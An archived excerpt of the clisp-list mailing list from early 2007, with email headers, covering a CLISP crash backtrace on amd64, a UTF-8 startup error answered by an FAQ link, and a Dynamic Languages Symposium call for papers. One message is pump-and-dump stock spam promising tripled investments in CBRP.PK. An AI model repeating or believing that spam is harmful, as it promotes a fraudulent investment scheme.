format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] EXT::LAUNCH crash X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 23 Feb 2007 20:09:33 -0000 Marco Gidde wrote: > The crash happens quite early: > > ... > (gdb) show args > Argument list to give program being debugged when it is started is "-B . -E 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc -m 1800KW". > (gdb) bt > #0 0x0000000000815eac in with_gc_statistics (fun=0x442940 ) > at lispbibl.d:4179 > #1 0x0000000000405048 in gar_col_simple () at spvw_garcol.d:2405 > #2 0x000000000040e5c7 in make_space_gc_true (need=72, heapptr=0xbe5a08) > at spvw_allocate.d:219 > #3 0x0000000000411285 in allocate_vector (len=7) at spvw_typealloc.d:89 > #4 0x00000000004112b3 in init_subr_tab_2 () at subrkw.d:7 > #5 0x00000000004286f7 in initmem () at spvw.d:1497 > #6 0x000000000043f66c in init_memory (p=0xbe6ab0) at spvw.d:2928 > #7 0x000000000044709e in main (argc=, argv=0x7fff9d293be8) > at spvw.d:3268 > (gdb) p inside_gc > $5 = false > > Feel free to ask for more details if necessary. could you please file a separate self-contained bug report on this? http://clisp.cons.org/impnotes/faq.html#faq-bugs http://clisp.cons.org/impnotes/clisp.html#bugs http://sourceforge.net/tracker/?group_id=1355&atid=101355 Thanks, Sam. From marco.gidde@tiscali.de Sat Feb 24 06:50:12 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HKyE0-0006zK-H6 for clisp-list@lists.sourceforge.net; Sat, 24 Feb 2007 06:50:12 -0800 Received: from smtp10.unit.tiscali.de ([213.205.33.46]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HKyDy-0000p8-4h for clisp-list@lists.sourceforge.net; Sat, 24 Feb 2007 06:50:12 -0800 Received: from tristan.br-automation.com (85.212.66.82) by smtp10.unit.tiscali.de (7.3.121) id 45D417A200142835 for clisp-list@lists.sourceforge.net; Sat, 24 Feb 2007 15:50:01 +0100 To: clisp-list@lists.sourceforge.net References: <87wt2aaayv.fsf@tristan.br-automation.com> <45DDADCD.6050301@gnu.org> <87odnk64b0.fsf@tristan.br-automation.com> <45DF49F1.7070602@gnu.org> From: Marco Gidde Date: Sat, 24 Feb 2007 15:49:58 +0100 In-Reply-To: <45DF49F1.7070602@gnu.org> (Sam Steingold's message of "Fri, 23 Feb 2007 15:09:21 -0500") Message-ID: <873b4vy5ih.fsf@tristan.br-automation.com> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.93 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] EXT::LAUNCH crash X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 24 Feb 2007 14:50:12 -0000 Sam Steingold writes: > could you please file a separate self-contained bug report on this? > http://clisp.cons.org/impnotes/faq.html#faq-bugs > http://clisp.cons.org/impnotes/clisp.html#bugs > http://sourceforge.net/tracker/?group_id=1355&atid=101355 It's the same as http://sourceforge.net/tracker/index.php?func=detail&aid=1385641&group_id=1355&atid=101355 Regards, Marco From sds@gnu.org Sat Feb 24 16:33:21 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HL7KL-0001OW-6P for clisp-list@lists.sourceforge.net; Sat, 24 Feb 2007 16:33:21 -0800 Received: from mta1.srv.hcvlny.cv.net ([167.206.4.196]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HL7KJ-0001Vr-G7 for clisp-list@lists.sourceforge.net; Sat, 24 Feb 2007 16:33:20 -0800 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta1.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0JDZ00IRWTJDP3F0@mta1.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 24 Feb 2007 19:33:13 -0500 (EST) Received: by loiso.podval.org (Postfix, from userid 500) id 443CB21E055; Sat, 24 Feb 2007 19:33:13 -0500 (EST) Date: Sat, 24 Feb 2007 19:33:13 -0500 From: Sam Steingold In-reply-to: <873b4vy5ih.fsf@tristan.br-automation.com> To: clisp-list@lists.sourceforge.net, Marco Gidde Mail-followup-to: clisp-list@lists.sourceforge.net, Marco Gidde Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <87wt2aaayv.fsf@tristan.br-automation.com> <45DDADCD.6050301@gnu.org> <87odnk64b0.fsf@tristan.br-automation.com> <45DF49F1.7070602@gnu.org> <873b4vy5ih.fsf@tristan.br-automation.com> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.94 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] EXT::LAUNCH crash X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 Feb 2007 00:33:21 -0000 > * Marco Gidde [2007-02-24 15:49:58 +0100]: > > Sam Steingold writes: >> could you please file a separate self-contained bug report on this? >> http://clisp.cons.org/impnotes/faq.html#faq-bugs >> http://clisp.cons.org/impnotes/clisp.html#bugs >> http://sourceforge.net/tracker/?group_id=1355&atid=101355 > > It's the same as > http://sourceforge.net/tracker/index.php?func=detail&aid=1385641&group_id=1355&atid=101355 what's your platform? amd64 also? -- Sam Steingold (http://sds.podval.org/) on Fedora Core release 6 (Zod) http://jihadwatch.org http://palestinefacts.org http://pmw.org.il http://honestreporting.com http://thereligionofpeace.com http://camera.org Heredity, n: the reason your children are bright. From marco.gidde@tiscali.de Sat Feb 24 16:41:39 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HL7Ri-00025D-6R for clisp-list@lists.sourceforge.net; Sat, 24 Feb 2007 16:41:37 -0800 Received: from smtp11.unit.tiscali.de ([213.205.33.47]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HL7Rg-0003YA-DU for clisp-list@lists.sourceforge.net; Sat, 24 Feb 2007 16:40:57 -0800 Received: from tristan.br-automation.com (85.212.66.82) by smtp11.unit.tiscali.de (7.3.121) id 45D44FC30014D9A1 for clisp-list@lists.sourceforge.net; Sun, 25 Feb 2007 01:40:46 +0100 To: clisp-list@lists.sourceforge.net References: <87wt2aaayv.fsf@tristan.br-automation.com> <45DDADCD.6050301@gnu.org> <87odnk64b0.fsf@tristan.br-automation.com> <45DF49F1.7070602@gnu.org> <873b4vy5ih.fsf@tristan.br-automation.com> From: Marco Gidde Date: Sun, 25 Feb 2007 01:40:44 +0100 In-Reply-To: (Sam Steingold's message of "Sat, 24 Feb 2007 19:33:13 -0500") Message-ID: <87y7mnvzlf.fsf@tristan.br-automation.com> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/22.0.93 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] EXT::LAUNCH crash X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 25 Feb 2007 00:41:39 -0000 Sam Steingold writes: > what's your platform? amd64 also? Yep > cat /proc/cpuinfo processor : 0 vendor_id : AuthenticAMD cpu family : 15 model : 28 model name : Mobile AMD Athlon(tm) 64 Processor 3000+ stepping : 0 cpu MHz : 800.000 cache size : 512 KB fpu : yes fpu_exception : yes cpuid level : 1 wp : yes flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt lm 3dnowext 3dnow up lahf_lm bogomips : 1593.49 TLB size : 1024 4K pages clflush size : 64 cache_alignment : 64 address sizes : 40 bits physical, 48 bits virtual power management: ts fid vid ttp From pc@p-cos.net Tue Mar 06 08:26:53 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HOcV3-0007B8-8G for clisp-list@lists.sourceforge.net; Tue, 06 Mar 2007 08:26:53 -0800 Received: from smtp.vub.ac.be ([134.184.129.10] helo=dorado.vub.ac.be) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HOcUx-0001be-NZ for clisp-list@lists.sourceforge.net; Tue, 06 Mar 2007 08:26:53 -0800 Received: from prog2.vub.ac.be (prog2.vub.ac.be [134.184.43.10]) by dorado.vub.ac.be (Postfix) with ESMTP id 73529242 for ; Tue, 6 Mar 2007 17:26:25 +0100 (CET) Received: from [134.184.43.64] (progpc14.vub.ac.be [134.184.43.64]) by prog2.vub.ac.be (Postfix) with ESMTP id 6EF7E2C3F68 for ; Tue, 6 Mar 2007 17:23:32 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v752.2) Content-Transfer-Encoding: 7bit Message-Id: <2DEF7751-11BE-4E98-9F48-1F1AE567E9A9@p-cos.net> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Pascal Costanza Date: Tue, 6 Mar 2007 17:26:25 +0100 X-Mailer: Apple Mail (2.752.2) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] [CfP] Dynamic Languages Symposium 2007 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 Mar 2007 16:26:53 -0000 ************************************************************************ * * * Dynamic Languages Symposium 2007 * * at ooPSLA 2007 - http://www.oopsla.org * * * * Montreal, Quebec, Canada, October 22, 2007 * * * * http://www.swa.hpi.uni-potsdam.de/dls07/ * * * ************************************************************************ Important dates: **************** * Submission of papers: June 1, 2007 *hard deadline* * Author notification: June 30, 2007 * Final versions due: July 7, 2007 * DLS 2007: October 22, 2007 * OOPSLA 2007: October 21-25, 2007 Scope: ****** The Dynamic Languages Symposium (DLS) at OOPSLA 2007 in Montreal, Canada, is a forum for discussion of dynamic languages, their implementation and application. While mature dynamic languages including Smalltalk, Lisp, Scheme, Self, and Prolog continue to grow and inspire new converts, a new generation of dynamic scripting languages such as Python, Ruby, PHP, and JavaScript are successful in a wide range of applications. DLS provides a place for researchers and practitioners to come together and share their knowledge, experience, and ideas for future research and development. DLS 2007 invites high quality papers reporting original research, innovative contributions or experience related to dynamic languages, their implementation and application. Accepted Papers will be published in the OOPSLA conference companion and the ACM Digital Library. Areas of interest include but are not limited to: ************************************************* * Innovative language features and implementation techniques * Development and platform support, tools * Interesting applications * Domain-oriented programming * Very late binding, dynamic composition, and runtime adaptation * Reflection and meta-programming * Software evolution * Language symbiosis and multi-paradigm languages * Dynamic optimization * Hardware support * Experience reports and case studies * Educational approaches and perspectives * Object-oriented, aspect-oriented, and context-oriented programming Submissions and proceedings *************************** We invite original contributions that neither have been published previously nor are under review by other refereed events or publications. Research papers should describe work that advances the current state of the art. Experience papers should be of broad interest and should describe insights gained from substantive practical applications. The program committee will evaluate each contributed paper based on its relevance, significance, clarity, and originality. Papers are to be submitted electronically at http://www.dcl.hpi.uni-potsdam.de/dls2007/ in PDF format. Submissions must not exceed 12 pages and need to use the ACM format, templates for which can be found at http://www.acm.org/sigs/pubs/proceed/template.html. Program chairs: *************** * Pascal Costanza, Programming Technology Lab, Vrije Universiteit Brussel, Belgium * Robert Hirschfeld, Hasso-Plattner-Institut, University of Potsdam, Germany Program committee: ****************** * Gilad Bracha, Cadence Design Systems, USA * Johan Brichau, Universite Catholique de Louvain, Belgium * William Clinger, Northeastern University, USA * William Cook, University of Texas at Austin, USA * Pascal Costanza, Vrije Universiteit Brussel, Belgium * Stephane Ducasse, Universite de Savoie, France * Brian Foote, Industrial Logic, USA * Robert Hirschfeld, Hasso-Plattner-Institut Potsdam, Germany * Jeremy Hylton, Google, USA * Shriram Krishnamurthi, Brown University, USA * Michele Lanza, University of Lugano, Switzerland * Michael Leuschel, Universitaet Duesseldorf, Germany * Henry Lieberman, MIT Media Laboratory, USA * Martin von Loewis, Hasso-Plattner-Institut Potsdam, Germany * Philippe Mougin, OCTO Technology, France * Oscar Nierstrasz, University of Berne, Switzerland * Kent Pitman, PTC, USA * Ian Piumarta, Viewpoints Research Institute, USA * Nathanael Schaerli, Google, Switzerland * Anton van Straaten, AppSolutions.com, USA * Dave Thomas, Bedarra Research Labs, Canada * Dave Ungar, USA * Allen Wirfs-Brock, Microsoft, USA * Roel Wuyts, IMEC & Unversite Libre de Bruxelles, Belgium -- Pascal Costanza, mailto:pc@p-cos.net, http://p-cos.net Vrije Universiteit Brussel, Programming Technology Lab Pleinlaan 2, B-1050 Brussel, Belgium From 79stocknews@toranocigars.com Tue Mar 06 09:44:20 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HOdi0-0000f8-61; Tue, 06 Mar 2007 09:44:20 -0800 Received: from pool-71-255-236-55.washdc.east.verizon.net ([71.255.236.55]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HOdhy-00057G-Os; Tue, 06 Mar 2007 09:44:20 -0800 From: Reginald <79stocknews@toranocigars.com> To: Date: Tue, 6 Mar 2007 17:44:18 +0300 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4025 Encoding: 1 TEXT Message-ID: X-Spam-Score: -2.8 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Subject: [clisp-list] a viable and useful alternative to commercial PC UNIX operating systems. X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 06 Mar 2007 17:44:20 -0000 It's an isolated incident. It's not such a big deal and it should not be turned into a big discussion about racism.of the whole society and therefore such attention to it is not justified. Just because she is Indian and the others are British doesn't mean anything. You cannot generalize.Shetty was first noticed in 1993 when she starred in a supporting actress role opposite actor.Shah Rukh Khan in the hit film Baazigar (Player). New SHARE for U ● CAMBRIDGE RESOURCES (CBRP.PK) ● unbelievable SHARE with great growth potential and good management!!! We ASSURE that U had not POSSIBILITY like this before. Try to catch it RIGHT NOW!!! And U can TRIPLE your INVESTMENTS just for A FEW days. The company projects to generate NEARLY USD$40 million in REVENUE within the next 5 years. For elaborate info about CBRP.PK check broker web-site!!! Hurry up U must grab this CBRP.PK STOCK on TuesDAY: 03/06/2007. they are the most wonderful people I've met.was very pleased when I heard that an Indian actress was chosen to take part in Big Brother. When I discovered how she was treated I was shocked. I don't have contacts with British people. But I've always had an image of Britain being a very tolerant country, with lots I was shocked that she From stefan@fsik.cvut.cz Thu Mar 08 07:15:01 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HPKKb-0003lQ-3D for clisp-list@lists.sourceforge.net; Thu, 08 Mar 2007 07:15:01 -0800 Received: from isaac.fsik.cvut.cz ([147.32.49.51]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HPKKV-0000nB-IM for clisp-list@lists.sourceforge.net; Thu, 08 Mar 2007 07:15:00 -0800 Received: from isaac.fsik.cvut.cz (localhost [127.0.0.1]) by isaac.fsik.cvut.cz (Postfix) with ESMTP id 2DF43E98 for ; Thu, 8 Mar 2007 16:14:52 +0100 (CET) To: clisp-list@lists.sourceforge.net X-Face: mb0YH@.f7,fPBp'@L/xOMU1D|#asjX[2jg; .)QZsF2Pke2AKPeMj5e)VAFC@rp:&ixcwwU| .D(H#moZeN`%G'H),GxKg%8ZI5zw:k4|<11YPVm2n5uA From: Marek Stefan Date: Thu, 08 Mar 2007 16:14:52 +0100 Message-ID: <871wjzn4wj.fsf@isaac.fsik.cvut.cz> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Starting Clisp signals error (newbie question) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 08 Mar 2007 15:15:01 -0000 Hello experts! Has anybody encountered this behavior after launching the clisp? > stefan:~ $ clisp > i i i i i i i ooooo o ooooooo ooooo ooooo > I I I I I I I 8 8 8 8 8 o 8 8 > I \ `+' / I 8 8 8 8 8 8 > \ `-+-' / 8 8 8 ooooo 8oooo > `-__|__-' 8 8 8 8 8 > | 8 o 8 8 o 8 8 > ------+------ ooooo 8oooooo ooo8ooo ooooo 8 > Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 > Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 > Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 > Copyright (c) Bruno Haible, Sam Steingold 1999-2000 > Copyright (c) Sam Steingold, Bruno Haible 2001-2006 > *** - invalid byte sequence #xE1 #x6B #x20 in CHARSET:UTF-8 conversion > The following restarts are available: > ABORT :R1 ABORT > ABORT :R2 ABORT > Break 1 [3]> I'm using openSUSE 10.2, kernel-2.6.18, clisp version 2.39. Thank you for any hints or explanations. Regards Stefan From sds@gnu.org Thu Mar 08 07:57:00 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HPKzE-0000Sq-FB for clisp-list@lists.sourceforge.net; Thu, 08 Mar 2007 07:57:00 -0800 Received: from www.janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HPKzB-00058u-To for clisp-list@lists.sourceforge.net; Thu, 08 Mar 2007 07:57:00 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A23A0804; Thu, 08 Mar 2007 10:56:42 -0500 Message-ID: <45F03239.10101@gnu.org> Date: Thu, 08 Mar 2007 10:56:41 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Marek Stefan References: <871wjzn4wj.fsf@isaac.fsik.cvut.cz> In-Reply-To: <871wjzn4wj.fsf@isaac.fsik.cvut.cz> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Starting Clisp signals error (newbie question) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 08 Mar 2007 15:57:00 -0000 Marek Stefan wrote: > Has anybody encountered this behavior after launching the clisp? > >> stefan:~ $ clisp > >> *** - invalid byte sequence #xE1 #x6B #x20 in CHARSET:UTF-8 conversion >> The following restarts are available: >> ABORT :R1 ABORT >> ABORT :R2 ABORT >> Break 1 [3]> > > I'm using openSUSE 10.2, kernel-2.6.18, clisp version 2.39. http://clisp.cons.org/impnotes/faq.html#faq-enc-err (look for non-UTF chars in pathnames) your question was answered with an FAQ link. the fine for asking questions before consulting the FAQ list is $10. From pjb@informatimago.com Thu Mar 08 08:19:27 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HPLKv-0003vX-BV for clisp-list@lists.sourceforge.net; Thu, 08 Mar 2007 08:19:27 -0800 Received: from voyager.informatimago.com ([88.198.62.69]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HPLKr-0004VR-QO for clisp-list@lists.sourceforge.net; Thu, 08 Mar 2007 08:19:25 -0800 Received: by voyager.informatimago.com (Postfix, from userid 1000) id 394D743C2FF; Thu, 8 Mar 2007 17:19:17 +0100 (CET) From: Pascal Bourguignon Message-ID: <17904.14213.217958.751836@voyager.informatimago.com> Date: Thu, 8 Mar 2007 17:19:17 +0100 To: clisp-list@lists.sourceforge.net In-Reply-To: <45F03239.10101@gnu.org> References: <871wjzn4wj.fsf@isaac.fsik.cvut.cz> <45F03239.10101@gnu.org> X-Mailer: VM 7.19 under Emacs 22.0.94.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Starting Clisp signals error (newbie question) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 08 Mar 2007 16:19:28 -0000 Sam Steingold writes: > Marek Stefan wrote: > > Has anybody encountered this behavior after launching the clisp? > > > >> stefan:~ $ clisp > > > >> *** - invalid byte sequence #xE1 #x6B #x20 in CHARSET:UTF-8 conversion > >> The following restarts are available: > >> ABORT :R1 ABORT > >> ABORT :R2 ABORT > >> Break 1 [3]> > > > > I'm using openSUSE 10.2, kernel-2.6.18, clisp version 2.39. > > http://clisp.cons.org/impnotes/faq.html#faq-enc-err > (look for non-UTF chars in pathnames) > > your question was answered with an FAQ link. > the fine for asking questions before consulting the FAQ list is $10. Perhaps it would be a good idea to add this link to this very error message, at least when it appears before the first prompt... -- __Pascal Bourguignon__ http://www.informatimago.com/ Un chat errant se soulage dans le jardin d'hiver Shiki From stefan@fsik.cvut.cz Thu Mar 08 08:20:20 2007 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HPLLn-00046P-Fo for clisp-list@lists.sourceforge.net; Thu, 08 Mar 2007 08:20:19 -0800 Received: from isaac.fsik.cvut.cz ([147.32.49.51]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HPLLl-0004wE-Tr for clisp-list@lists.sourceforge.net; Thu, 08 Mar 2007 08:20:19 -0800 Received: from isaac.fsik.cvut.cz (localhost [127.0.0.1]) by isaac.fsik.cvut.cz (Postfix) with ESMTP id 1FA09B0 for ; Thu, 8 Mar 2007 17:20:43 +0100 (CET) To: clisp-list@lists.sourceforge.net X-Face: mb0YH@.f7,fPBp'@L/xOMU1D|#asjX[2jg; .)QZsF2Pke2AKPeMj5e)VAFC@rp:&ixcwwU| .D(H#moZeN`%G'H),GxKg%8ZI5zw:k4|<11YPVm2n5uA References: <871wjzn4wj.fsf@isaac.fsik.cvut.cz> <45F03239.10101@gnu.org> From: Marek Stefan Date: Thu, 08 Mar 2007 17:20:43 +0100 In-Reply-To: <45F03239.10101@gnu.org> (Sam Steingold's message of "Thu, 08 Mar 2007 10:56:41 -0500") Message-ID: <87lki7g10k.fsf@isaac.fsik.cvut.cz> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] Starting Clisp signals error (newbie question) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 08 Mar 2007 16:20:20 -0000 >> Has anybody encountered this behavior after launching the clisp? >> >>> stefan:~ $ clisp >> >>> *** - invalid byte sequence #xE1 #x6B #x20 in CHARSET:UTF-8 > conversion >>> The following restarts are available: >>> ABORT :R1 ABORT >>> ABORT :R2 ABORT >>> Break 1 [3]> >> I'm using openSUSE 10.2, kernel-2.6.18, clisp version 2.39. > > http://clisp.cons.org/impnotes/faq.html#faq-enc-err(look for non-UTF chars in pathnames) > > your question was answered with an FAQ link. > the fine for asking questions before consulting the FAQ list is $10. Oh, sorry. Thank you! Stefan From sds@gnu.org Fri Mar 09 06:04:04 2007 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1HPfhU-0001c1-3Y for clisp-list@lists.sourceforge.net; Fri, 09 Mar 2007 06:04:04 -0800 Received: from janestcapital.com ([66.155.124.107] helo=smtp.janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1HPfhS-0001cZ-90 for clisp-list@lists.sourceforge.net; Fri, 09 Mar 2007 06:04:03 -0800 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD-9.10) id A94B0480; Fri, 09 Mar 2007 09:03:55 -0500 Message-ID: <45F1694B.6020206@gnu.org> Date: Fri, 09 Mar 2007 09:03:55 -0500 From: Sam Steingold User-Agent: Thunderbird 1.5.0.8 (X11/20061107) MIME-Version: 1.0 To: Marek Stefan References: <871wjzn4wj.fsf@isaac.fsik.cvut.cz> <45F03239.10101@gnu.org> <87lki7g10k.fsf@isaac.fsik.cvut.cz> In-Reply-To: <87lki7g10k.fsf@isaac.fsik.cvut.cz> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Starting Clisp signals error (newbie question) X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 09 Mar 2007 14:04:04 -0000 Marek Stefan wrote: >>> Has anybody encountered this behavior after launching the clisp? >>> >>>> stefan:~ $ clisp >>>> *** - invalid byte sequence #xE1 #x6B #x20 in CHARSET:UTF-8 >> conversion >>>> The following restarts are available: >>>> ABORT :R1 ABORT >>>> ABORT :R2 ABORT >>>> Break 1 [3]> >>> I'm using openSUSE 10.2, kernel-2.6.18, clisp version 2.39. >> http://clisp.cons.org/impnotes/faq.html#faq-enc-err(look for non-UTF chars in pathnames) 